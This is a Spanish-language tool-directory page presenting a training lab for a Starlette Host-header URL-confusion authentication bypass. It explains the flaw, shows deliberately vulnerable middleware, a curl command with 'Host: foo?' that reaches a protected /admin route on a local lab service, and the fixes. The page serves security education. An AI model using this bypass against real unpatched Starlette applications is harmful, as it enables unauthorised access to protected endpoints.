Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/xtremebeing/starlette-host-header-lab
Análisis de VulnerabilidadesSeguridad WebAutenticaciónMala ConfiguraciónAprendizaje y EducaciónLabs y Práctica
GitHubxtremebeing/starlette-host-header-lab

starlette-host-header-lab

Laboratorio de confusión de URL de Host-Header de Starlette (X41-2026-002) - CVE-2026-48710

Ver Repositorio
15hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Lab de Confusión de URL por Host-Header en Starlette (X41-2026-002)

Un laboratorio de formación autónomo y contenerizado que reproduce la vulnerabilidad de omisión de autenticación en Starlette divulgada por X41 D-Sec.

  • Aviso: X41-2026-002
  • GHSA: GHSA-86qp-5c8j-p5mr
  • CWE: 436 — Conflicto de interpretación / Entrada no confiable en llamada a función
  • CVSS: 7.0 (Alta)
  • Afectados: Starlette >= 0.8.3, < 1.0.1 (el lab fija 0.37.2)
  • Corregido en: Starlette 1.0.1

⚠️ Solo para formación de seguridad autorizada. Esta aplicación es deliberadamente vulnerable. No la despliegue en ninguna red accesible.


La vulnerabilidad en un párrafo

Starlette envía una solicitud a una ruta usando el scope["path"] ASGI crudo, pero reconstruye formateando el encabezado suministrado por el cliente en — contra RFC 9112 §3.2. Dado que los metacaracteres de URL (, , ) se permiten directamente, un atacante puede hacer que la ruta difiera de la ruta . Cualquier comprobación de seguridad escrita contra puede entonces ser engañada mientras el enrutador sigue alcanzando el manejador protegido.

request.url
Host
"{scheme}://{host}{path}"
sin validar el encabezado Host
?
/
#
reconstruida
enrutada
request.url.path

Por qué funciona el PoC

El middleware vulnerable permite la solicitud solo cuando request.url.path es / o está vacío:

root@kitploit:~
if request.url.path in ("/", ""):
    return await call_next(request)   # permitido
return PlainTextResponse("Forbidden", status_code=403)

Envía Host: foo? contra GET /admin:

ComponenteValor usado
Router (scope["path"])/admin → despacha admin()
request.urlhttp://foo?/admin
request.url.path"" → pasa la comprobación de auth ✅

El ? convierte todo lo que le sigue en la cadena de consulta, por lo que la ruta analizada está vacía. La autenticación ve una ruta vacía y la deja pasar; el enrutador sigue sirviendo /admin. Omisión lograda.


Ejecutar el laboratorio

Requiere Docker + Docker Compose.

root@kitploit:~
docker compose up --build

Se inician dos servicios:

ServicioURLComportamiento
vulnerablehttp://localhost:8000vulnerable a la omisión
fixedhttp://localhost:8001mitigado (de dos formas)

Explotarlo

root@kitploit:~
# Bloqueado normalmente:
curl -i http://localhost:8000/admin                 # 403 Forbidden

# Omisión mediante inyección en el encabezado Host:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}

O ejecuta el script de PoC guiado:

root@kitploit:~
./exploit/exploit.sh        # ataca a :8000 (tiene éxito)
./exploit/exploit.sh 8001   # ataca a :8001 (falla — corregido)

El manejador vulnerable /admin devuelve un cuerpo JSON que hace visible la confusión — observa cómo scope_path y reconstructed_path no coinciden:

root@kitploit:~
{
  "secret": "FLAG{host_header_url_confusion}",
  "scope_path": "/admin",
  "reconstructed_url": "http://foo?/admin",
  "reconstructed_path": "",
  "host_header": "foo?"
}

Cómo se corrige

Consulta fixed/fixed_app.py. Dos mitigaciones independientes:

  1. Usar el valor autoritativo. Tomar la decisión de autenticación sobre request.scope["path"] — la misma ruta cruda que usa el enrutador — en lugar de la reconstruida request.url.path.
  2. Defensa en profundidad. TrustedHostMiddleware rechaza los encabezados Host inesperados o malformados antes de que se ejecute cualquier lógica de aplicación, reflejando lo que hace un proxy inverso conforme a RFC (nginx/Apache) en el upstream.

La corrección en el mundo real es simplemente actualizar a Starlette ≥ 1.0.1, que valida el encabezado Host durante la reconstrucción de la URL.


Preguntas de debate para ingenieros

  1. ¿En qué otro lugar de una pila típica se reconstruye un valor a partir de entrada no confiable y luego se confía en él? (Pista: listas de permitidos de SSRF, redirect_uri de OAuth, claves de caché, enlaces de restablecimiento de contraseña construidos desde Host.)
  2. ¿Por qué es "bloquear la ruta mala" (/admin) más frágil aquí que "decidir sobre el endpoint enrutado"? ¿Qué pasa si el enrutamiento no distingue entre mayúsculas y minúsculas o tiene redirecciones con barra final?
  3. Esto es CWE-436 (conflicto de interpretación). ¿Qué otros bugs famosos comparten esta forma? (Contrabando de solicitudes HTTP, omisión de autenticación por normalización Unicode, el día 0.0.0.0.)

Archivos

root@kitploit:~
starlette-host-header-lab/
├── app/vulnerable_app.py   # el servicio deliberadamente vulnerable
├── fixed/fixed_app.py      # servicio mitigado para comparación
├── exploit/exploit.sh      # prueba de concepto guiada
├── requirements.txt        # fija Starlette 0.37.2 (vulnerable)
├── Dockerfile
├── docker-compose.yml
└── README.md
Descargar herramienta